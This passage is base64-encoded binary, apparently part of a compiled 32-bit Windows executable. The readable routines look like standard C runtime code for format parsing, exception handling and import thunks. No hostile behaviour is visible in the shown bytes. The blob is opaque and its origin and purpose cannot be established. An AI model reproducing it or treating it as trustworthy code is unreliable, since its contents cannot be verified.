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uNhVz+//9QjYWc/v//UENTjb14/v//jbVU/v//6Nn3//+DxAyFwA+E6AgAAIuVhP7///+FkP7//+hs+P//iYWY/v//D7bAUP8VyHRCAFmFwHWJ/xXgdEIAiwCKAIiFRP7//zqFmP7//w+F5gAAAIuFjP7///+NjP7//4XAD4TSAAAAi5WE/v///4WQ/v//6Bb4//+LjXj+//+JhZj+//+KhUT+//+IBAuNhVz+//9QjYWc/v//UENTjb14/v//jbVU/v//6DH3//+DxAyFwA+EQAgAAA+2hZj+///ra4uFjP7///+NjP7//4XAdGeLhXj+//+KjZj+////hXT+//+IDAONhVz+//9QjYWc/v//UENTjb14/v//jbVU/v//6Nf2//+DxAyFwA+E5gcAAIuVhP7///+FkP7//+hq9///iYWY/v//D7bAUP8VyHRCAFmFwHWJg710/v//AA+EYAEAAIO9mP7//2V0DYO9mP7//0UPhUoBAACLhYz+////jYz+//+FwA+ENgEAAIuFeP7//8YEA2WNhVz+//9QjYWc/v//UENTjb14/v//jbVU/v//6ET2//+DxAyFwA+EUwcAAIuVhP7///+FkP7//+jX9v//iYWY/v//g/gtdSyLhXj+///GBAMtjYVc/v//UI2FnP7//1BDU+j+9f//g8QMhcAPhA0HAADrCYO9mP7//yt1L4uFjP7///+NjP7//4XAdQghhYz+///rF4uVhP7///+FkP7//+hu9v//iYWY/v//D7aFmP7//+tri4WM/v///42M/v//hcB0Z4uFeP7//4qNmP7///+FdP7//4gMA42FXP7//1CNhZz+//9QQ1ONvXj+//+NtVT+///oavX//4PEDIXAD4R5BgAAi5WE/v///4WQ/v//6P31//+JhZj+//8PtsBQ/xXIdEIAWYXAdYn/tYT+////jZD+////tZj+///o5/X//4O9dP7//wBZWQ+ELQYAAIC9i/7//wAPhRUFAAD/tUT+//+LhXj+////hWj+//9Q/7Vg/v//xgQDAA++hYn+//9IUOgTTgAAg8QQ6eIEAABqEFiF0g+FYAEAAP+FjP7//+lVAQAAi8OD6HAPhM8BAACD6AMPhDoBAABISA+ExQEAAIPoAw+ECvz//4PoA3QzD7YGO4WY/v//D4VqBQAA/o2D/v//gL2L/v//AA+FgAQAAIuFSP7//4mFTP7//+lvBAAAakDp7AAAAIO9mP7//yt1LP+NjP7//3UNhdJ0CcaFl/7//wHrF4uVhP7///+FkP7//+jZ9P//iYWY/v//ajBeObWY/v//D4WAAQAAi5WE/v///4WQ/v//6LP0//+JhZj+//88eHRNPFh0SceFdP7//wEAAACD+3h0G4O9ZP7//wB0Dv+NjP7//3UG/oWX/v//am/rV/+1hP7///+NkP7//1Dof/T//1lZibWY/v//6RgBAACLlYT+////hZD+///oS/T//4O9ZP7//wCJhZj+//90FoOtjP7//wKDvYz+//8BfQb+hZf+//9qeFvp2gAAAGogWIXSdAODyAGAvYr+//8AfgODyAKAvYv+//8AdAODyASNjWj+//9RV/+1hP7///+1jP7//4P7e3UmjY1g/v//UY2NkP7//1GNjZj+//9RUI2NfP7//+i29f//g8Qg6x6NjZj+//9RagBQjZ1g/v//jbWQ/v//6PPz//+DxByFwA+FAgQAAOnyAgAAxoWJ/v//AYO9mP7//y11CcaFgv7//wHrCYO9mP7//yt1LP+NjP7//3UNhdJ0CcaFl/7//wHrF4uVhP7///+FkP7//+hK8///iYWY/v//M/85vVj+//8PhFgBAACAvZf+//8AD4UbAQAAg/t4dHGD+3B0bA+2hZj+//9Q/xXIdEIAWYXAD4ThAAAAg/tvdS6DvZj+//84D43PAAAAi4Vs/v//i41w/v//D6TBA8HgA4mFbP7//4mNcP7//+tmV2oK/7Vw/v///7Vs/v//6JtLAACJhWz+//+JlXD+///rRA+2hZj+//9Q/xXcdEIAWYXAdHmLhWz+//+LjXD+////tZj+//8PpMEEweAEiYVs/v//iY1w/v//6FXy//9ZiYWY/v//i4WY/v///4V0/v//g8DQmQGFbP7//xGVcP7//zm9ZP7//3QI/42M/v//dDWLlYT+////hZD+///oMvL//4mFmP7//+n+/v///7WE/v///42Q/v///7WY/v//6Cby//9ZWYC9gv7//wAPhAMBAACLhWz+//+LjXD+///32BPP99mJhWz+//+JjXD+///p4AAAAIC9l/7//wCLtVD+//8PhbwAAACD+3h0NIP7cHQvD7aFmP7//1D/Fch0QgBZhcAPhIIAAACD+291DoO9mP7//zh9dMHmA+sta/YK6ygPtoWY/v//UP8V3HRCAFmFwHRX/7WY/v//weYE6FDx//9ZiYWY/v//i4WY/v///4V0/v//jXQG0Im1UP7//zm9ZP7//3QI/42M/v//dDWLlYT+////hZD+///oM/H//4mFmP7//+ld/////7WE/v///42Q/v///7WY/v//6Cfx//9ZWYC9gv7//wB0CPfeibVQ/v//g/tGdQaJvXT+//85vXT+//8PhFIBAACAvYv+//8AdT7/hWj+//+LjWD+//+LhVD+//+DvVj+//8AdBOLhWz+//+JAYuFcP7//4lBBOsQgL2J/v//AHQEiQHrA2aJAf6Fg/7///+FfP7//4u9fP7//+thi7WE/v///4WQ/v//i9boefD//4vYD7YHR4mdmP7//4m9fP7//zvDD4W1AAAAD7bDUP8V2HRCAFmFwHQl/4WQ/v//i9boQ/D//w+2D0eJvXz+//87yA+FiwAAAP+NkP7//4O9mP7///91F4A/JQ+FhAAAAIuFfP7//4B4AW51eIv4igeEwA+Fu/P//+tq/7WE/v///7WY/v//6ATw//9ZWetVgL2K/v//AH4HM8BmiQHrA8YBAP8VNHRCAMcADAAAAOs0/7WE/v///7WY/v//6M7v//9ZWceFQP7//wEAAADrFVZT67NWUOi17///VlPoru///4PEEIO9XP7//wFbdQ3/tXj+////FTh0QgBZg72Y/v///3UXi4Vo/v//hcB1LziFg/7//3Ung8j/6yKDvUD+//8BdRP/FTR0QgCLtWj+//8z/+m+8v//i4Vo/v//XotN/DPNX+iq5P//ycOL/1WL7ItFCIPsIFYz9jvGdR7/FTR0QgBWVlZWVscAFgAAAOhq5P//g8QUg8j/6zI5dRB03YtNDIH5////f3fS/3UUiUXo/3UQiUXgjUXgUMdF7EkAAACJTeTovfH//4PEDF7Jw/ZBDEB0BoN5CAB0JP9JBHgLixGIAv8BD7bA6wwPvsBRUOixRwAAWVmD+P91AwkGw/8Gw4v/VYvsVovw6xOLTRCKRQj/TQzotf///4M+/3QGg30MAH/nXl3Di/9Vi+z2RwxAU1aL8IvZdDODfwgAdS2LRQgBBussigP/TQiLz+h9////Q4M+/3UU/xU0dEIAgzgqdQ+Lz7A/6GP///+DfQgAf9ReW13Di/9Vi+yD7CihALBEADPFiUX8i0UIiUXYM8BAV4t9DIRFHHQEg20UIPZFHIDGRdwldAdqAsZF3SNYVsZEBdwuagqNRAXdUP91GP8VKHRCAI1F3IPEDI1wAYoIQITJdfmKTRQrxohMBdzGRAXdAItFEI10B//GBgBRUYtN2N0BjU3c3RwkUVBX/xUsdEIAg8QUgD4AXnUIhcB+BDPA6wZqFsYHAFiLTfwzzV/o7eL//8nDi/9Vi+yD7AyhALBEADPFiUX8U1aLdQhXi30MM9s7+3UUOV0Qdg878w+EqgAAAIke6aMAAAA783QDgw7/gX0Q////f3Ye/xU0dEIAahZZU1NTU1OL8YkI6Hni//+DxBSLxut3/3UUjUX0UP8VJHRCADvDWVl9JTv7dBI5XRB2Df91EFNX6Ojr//+DxAz/FTR0QgBqKlmJCIvB6z8783QCiQY5RRB9IDv7dBI5XRB2Df91EFNX6Ljr//+DxAz/FTR0QgBqIuuHO/t0DlCNRfRQV+ii6///g8QMM8CLTfxfXjPNW+gE4v//ycOL/1WL7IHsaAIAAKEAsEQAM8WJRfyLRQhTi10MVjP2V4t9EImFtP3//4m93P3//4m1uP3//4m18P3//4m1zP3//4m16P3//4m10P3//4m1xP3//4m1sP3//4m1yP3//zvGdSH/FTR0QgBWVlZWVscAFgAAAOhz4f//g8QUg8j/6UAKAAA73nTbiguJtdj9//+JteD9//+JtcD9//+Jtbz9//+Ije/9//+EyQ+EDgoAAEM5tdj9//+JnaD9//8PjOYJAACKwSwgPFh3Dw++wQ+2gLB1QgCD4A/rAjPAi5XA/f//a8AJD7aEENB1QgDB6ASJhcD9//+D+AgPhGT///9qB1o7wg+HVgkAAP8khdIkQgCDjej9////ibXE/f//ibWw/f//ibXM/f//ibXQ/f//ibXw/f//ibXI/f//6S0JAAAPvsGD6CB0SoPoA3Q2g+gIdCVISHQVg+gDD4UACQAAg43w/f//COkCCQAAg43w/f//BOn2CAAAg43w/f//AenqCAAAgY3w/f//gAAAAOnbCAAAg43w/f//AunPCAAAgPkqdSuLB4PHBDvGib3c/f//iYXM/f//D42xCAAAg43w/f//BPedzP3//+mfCAAAi4XM/f//a8AKD77JjUQI0ImFzP3//+mECAAAibXo/f//6XkIAACA+Sp1JYsHg8cEO8aJvdz9//+Jhej9//8PjVsIAACDjej9////6U8IAACLhej9//9rwAoPvsmNRAjQiYXo/f//6TQIAACA+Ul0T4D5aHQ+gPlsdBiA+XcPhRwIAACBjfD9//8ACAAA6Q0IAACAO2x1EEOBjfD9//8AEAAA6fgHAACDjfD9//8Q6ewHAACDjfD9//8g6eAHAACKAzw2dReAewE0dRFDQ4GN8P3//wCAAADpwwcAADwzdReAewEydRFDQ4Gl8P3///9////pqAcAADxkD4SgBwAAPGkPhJgHAAA8bw+EkAcAADx1D4SIBwAAPHgPhIAHAAA8WA+EeAcAAIm1wP3//w+2wVCJtcj9////Fdh0QgBZhcB0KIuNtP3//4qF7/3//4212P3//+iX+v//igNDiIXv/f//hMAPhEgHAACLjbT9//+Khe/9//+Ntdj9///ob/r//+kXBwAAD77Bg/hkD48WAgAAD4RnAgAAg/hTD4/yAAAAD4SAAAAAg+hBdBBISHRYSEh0CEhID4VFBQAAgMEgx4XE/f//AQAAAIiN7/3//4ON8P3//0A5tej9//+NhfT9//+JheT9//+4AAIAAImFrP3//w+NNQIAAMeF6P3//wYAAADplAIAAPeF8P3//zAIAAAPhZgAAACBjfD9//8ACAAA6YkAAAD3hfD9//8wCAAAdQqBjfD9//8ACAAAi43o/f//g/n/dQW5////f4PHBPeF8P3//xAIAACJvdz9//+Lf/yJveT9//8PhGQEAAA7/nULoRSwRACJheT9//+LheT9///Hhcj9//8BAAAA6TIEAACD6FgPhI0CAABISHR5K8IPhCf///9ISA+FUQQAAIPHBPeF8P3//xAIAACJvdz9//90MA+3R/xQaAACAACNhfT9//9QjYXg/f//UOhm+v//g8QQhcB0H8eFsP3//wEAAADrE4pH/IiF9P3//8eF4P3//wEAAACNhfT9//+JheT9///p6AMAAIsHg8cEib3c/f//O8Z0ZItwBDP/O/d0Ww+3CGY5SAIPgowFAAD3hfD9//8ACAAAD7fBdC4zyYvQ99JBhNEPhG4FAACL1vfShNEPhGIFAACJteT9///R6ImNyP3//+mAAwAAib3I/f//ibXk/f//6W8DAAChELBEAImF5P3//41QAYoIQITJdfkrwulTAwAAg/hwD4+AAQAAD4RoAQAAg/hlD4xBAwAAg/hnD44G/v//g/hpdDGD+G4PhL36//+D+G8PhSEDAAD2hfD9//+Ax4Xg/f//CAAAAHQdgY3w/f//AAIAAOsRg43w/f//QMeF4P3//woAAACLhfD9//+pAIAAAA+EbwEAAIsHi1cEg8cI6ZcBAAB1EYD5Z3Vnx4Xo/f//AQAAAOtbOYXo/f//fgaJhej9//+7owAAADmd6P3//346i7Xo/f//gcZdAQAAVv8VcHRCAFmKje/9//+Jhbz9//+FwHQOiYXk/f//ibWs/f//6w6Jnej9///rBoqN7/3///aF8P3//4B0CoGNxP3//4AAAACLB/+1xP3//4u15P3///+16P3//4PHCImFmP3//4tH/ImFnP3//w++wVD/taz9//+NhZj9//9WUIm93P3//+il9///g8QYgD4tdRCBjfD9//8AAQAA/4Xk/f//i4Xk/f//jVABighAhMl1+emC/v//x4Xo/f//CAAAAImVuP3//+skg+hzD4QD/f//SEgPhMT+//+D6AMPhbYBAADHhbj9//8nAAAA9oXw/f//gMeF4P3//xAAAAAPhKT+//+Khbj9//8EUcaF1P3//zCIhdX9///HhdD9//8CAAAA6YD+//+pABAAAA+Fhv7//4PHBKggdBeJvdz9//+oQHQGD79H/OsED7dH/JnrEqhAi0f8dAOZ6wIz0om93P3///aF8P3//0B0GzvWfxd8BDvGcxH32IPSAPfagY3w/f//AAEAAPeF8P3//wCQAACL2ov4dQIz24O96P3//wB9DMeF6P3//wEAAADrGoOl8P3///e4AAIAADmF6P3//34GiYXo/f//i8cLw3UGIYXQ/f//jXXzi4Xo/f///43o/f//hcB/BovHC8N0LYuF4P3//5lSUFNX6L7i//+DwTCD+TmJnaz9//+L+IvafgYDjbj9//+IDk7rvY1F8yvGRveF8P3//wACAACJheD9//+JteT9//90YYXAdAeLzoA5MHRW/43k/f//i43k/f//xgEwQOs+SWY5MHQGQEA7znX0K4Xk/f//0fjrKDv+dQuhELBEAImF5P3//4uF5P3//+sHSYA4AHQFQDvOdfUrheT9//+JheD9//+DvbD9//8AD4VmAQAAi4Xw/f//qEB0MqkAAQAAdAnGhdT9//8t6xioAXQJxoXU/f//K+sLqAJ0EcaF1P3//yDHhdD9//8BAAAAi53M/f//K53g/f//K53Q/f//9oXw/f//DHUX/7W0/f//jYXY/f//U2og6Kr0//+DxAz/tdD9//+LvbT9//+Nhdj9//+NjdT9///osPT///aF8P3//whZdBv2hfD9//8EdRJXU2owjYXY/f//6Gj0//+DxAyDvcj9//8AdHGDveD9//8AfmiLheD9//+LteT9//+Jhaz9//8Ptwb/jaz9//9QagaNRfRQjYWk/f//RlBG6Ej1//+DxBCFwHUoOYWk/f//dCD/taT9//+Nhdj9//+NTfToJvT//4O9rP3//wBZdbXrIYON2P3////rGP+14P3//4uN5P3//42F2P3//+j68///WYO92P3//wB8G/aF8P3//wR0EldTaiCNhdj9///osvP//4PEDIO9vP3//wB0FP+1vP3///8VOHRCAIOlvP3//wBZi52g/f//i73c/f//M/aKA4iF7/3//4TAdC+KyOkv9v///xU0dEIAxwAWAAAAM8BQUFBQUOnb9f///xU0dEIAV1dXV1fpxfX//zm1wP3//3QNg73A/f//Bw+FpfX//4uF2P3//4tN/F9eM81b6DHX///Jw5D6HEIADxtCAD8bQgCdG0IA6BtCAPMbQgA4HEIAUx1CAIv/VYvsg+wgV4t9DIP//3UJx0Xk////f+srgf////9/diD/FTR0QgDHABYAAAAzwFBQUFBQ6L7W//+DxBSDyP/raol95FNW/3UUi3UI/3UQjUXgUIl16Il14MdF7EIAAADopvT//4vYM8CDxAw72IhEPv99ETlF5HwtO/B0JTv4diGIBusd/03keAeLTeCIAesRjU3gUVDoBjoAAFlZg/j/dASLw+sDav5YXltfycOLSAz2wUB0BoN4CAB0NYNABP66//8AAHgNiwhmiTGDAAIPt87rCIPJIIlIDIvKZjvKdRBQ/xUgdEIAWYXAdASDD//D/wfDi/9Vi+yDfQwAV4v4fhtWi0UQi3UI/00M6J3///+DP/90BoN9DAB/515fXcOL/1WL7PZDDEBXi/h0DYN7CAB1B4tFDAEH6zyDfQwAfjZWi0UID7cw/00Mi8PoXP///4NFCAKDP/91Ff8VNHRCAIM4KnUQaj+Lw17oPv///4N9DAB/zF5fXcOL/1WL7IHsaAQAAKEAsEQAM8WJRfyLRQhTi10QVot1DFcz/4mF2Pv//4md6Pv//4m9tPv//4m9+Pv//4m90Pv//4m99Pv//4m93Pv//4m9yPv//4m9rPv//4m91Pv//zvHdSH/FTR0QgBXV1dXV8cAFgAAAOgE1f//g8QUg8j/6T8KAAA793TbD7cOib3g+///ib3s+///ib3A+///ib24+///iY3k+///ZjvPD4QLCgAARkY5veD7//+JtbD7//8PjOIJAACNQeBmg/hYdw8Pt8EPtoCwdUIAg+AP6wIzwIuVwPv//2vACQ+2hBDQdUIAagjB6ARaiYXA+///O8IPhF7///+D+AcPh3cJAAD/JIVBMUIAg430+////4m9yPv//4m9rPv//4m90Pv//4m93Pv//4m9+Pv//4m91Pv//+lOCQAAD7fBg+ggdEiD6AN0NCvCdCRISHQUg+gDD4UiCQAACZX4+///6SUJAACDjfj7//8E6RkJAACDjfj7//8B6Q0JAACBjfj7//+AAAAA6f4IAACDjfj7//8C6fIIAABmg/kqdSuLA4PDBDvHiZ3o+///iYXQ+///D43TCAAAg434+///BPed0Pv//+nBCAAAi4XQ+///a8AKD7fJjUQI0ImF0Pv//+mmCAAAib30+///6ZsIAABmg/kqdSWLA4PDBDvHiZ3o+///iYX0+///D418CAAAg430+////+lwCAAAi4X0+///a8AKD7fJjUQI0ImF9Pv//+lVCAAAD7fBg/hJdFGD